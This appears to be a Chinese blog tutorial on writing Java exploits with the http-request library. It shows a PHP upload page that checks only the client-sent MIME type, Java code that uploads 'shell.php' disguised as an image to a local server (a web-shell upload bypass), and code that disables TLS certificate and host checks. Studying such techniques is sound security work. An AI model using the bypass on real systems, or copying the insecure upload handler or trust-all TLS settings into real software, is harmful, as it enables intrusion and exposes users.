JAVA-Exploit编写(6)--http-request库文件上传使用

目录

1.http-request简介

[2. 依赖导入](#2. 依赖导入)

3.文件上传页面代码

[4. http-request文件上传简单使用](#4. http-request文件上传简单使用)

5.请求https的网站解决SSL证书的问题

[5. 1 直接请求带https域名的网站](#5. 1 直接请求带https域名的网站)

[5.2 信任所有证书](#5.2 信任所有证书)


1.http-request简介

http-request 是一个库 里面提供很多方法,使得很容易就可以构造http请求,相比于之前使用的标准库类等要简单使用很多,目前通过此库来编写EXP较多.

2. 依赖导入

bash 复制代码
<dependency>
      <groupId>com.github.kevinsawicki</groupId>
      <artifactId>http-request</artifactId>
      <version>5.6</version>
</dependency>

3.文件上传页面代码

php 复制代码
<?php
if (($_FILES["file"]["type"] == "image/gif" || $_FILES["file"]["type"] == "image/jpeg" || $_FILES["file"]["type"] == "image/png") && $_FILES["file"]["size"] < 20000) {
    if ($_FILES["file"]["error"] > 0) {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    } else {
        if (file_exists("uploads/" . $_FILES["file"]["name"])) {
            echo $_FILES["file"]["name"] . " already exists. ";
        } else {
            move_uploaded_file($_FILES["file"]["tmp_name"], "uploads/" . $_FILES["file"]["name"]);
            echo "Stored in: " . "uploads/" . $_FILES["file"]["name"];
        }
    }
} else {
    echo "Invalid file";
}
?>

4. http-request文件上传简单使用

相比于之前使用的标准库和httpcomponents库来说,使用起来简单很多,通过设置文件头和.part方法即可,一看就懂.

java 复制代码
package com.deger.HttpRequest;

import com.github.kevinsawicki.http.HttpRequest;

import java.io.File;

public class HttpRequestUpload {
    public static void main(String[] args) {
        // 文件上传
        HttpRequest httpRequest = HttpRequest.post("http://127.0.0.1/upload.php");
        // 设置请求头的文件类型
        httpRequest.header( "content-Type","multipart/form-data;boundary=AaB03x");
        // 设置上传的文件 以及上传文件位置
        httpRequest.part("file","test123.php","image/jpeg",new File("D:\\phpstudy_pro\\WWW\\shell.php"));
        // 接收响应信息
        System.out.println(httpRequest.body());

    }
}

5.请求https的网站解决SSL证书的问题

5. 1 直接请求带https域名的网站

java 复制代码
package com.deger.HttpRequest;


import com.github.kevinsawicki.http.HttpRequest;

public class HttpRequestSsl {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.get("https://www.xxxxxx.com");
        System.out.println(httpRequest.body());
    }
}

5.2 信任所有证书

只需要使用两个方法就可以正常使用了

java 复制代码
package com.deger.HttpRequest;


import com.github.kevinsawicki.http.HttpRequest;

public class HttpRequestSsl {
    public static void main(String[] args) {
        HttpRequest httpRequest = HttpRequest.get("https://www.xxxxx.com");
        //信息所有证书和主机
        httpRequest.trustAllCerts();
        httpRequest.trustAllHosts();
        System.out.println(httpRequest.body());
    }
}
相关推荐
sunshine22 girl36 分钟前
Java学习七 Java 项目实战1-项目创建和主页面搭建
java·开发语言·学习
code2cat39 分钟前
Java进阶篇之AtomicStampedReference:引用回到原值,版本戳仍能记住变化
java·cas·并发编程·aba
泡茶喝茶写代码2 小时前
A股量化数据工程:从 REST 接口到策略信号(第 8 篇):成长能力因子:营收与利润增速
java·python·股票数据api·股票数据api接口·股票量化数据api·股票量化数据接口·股票数据api数据
\光辉岁月/3 小时前
7.javase-面向对象
java·开发语言
weixin_531094693 小时前
heap_4内存管理
java·开发语言·算法
程序员南飞3 小时前
win系统安装minio
java·数据结构·算法
Escalating_xu4 小时前
【Python】使用库:标准库、第三方库、pip、项目实战与程序打包
java·python·pip
Wang's Blog4 小时前
Java框架 SpringCloud 快速入门: 过滤器链执行顺序
java·spring cloud
砚底藏山河5 小时前
量化实战:回测数据底座快照与版本管理进阶
java·大数据·python·金融·maven
Cc.Y5 小时前
Java零基础入门:封装与继承 —— 从“裸奔“到“穿衣服“,从“重复造轮子“到“站在巨人肩膀上“
java·开发语言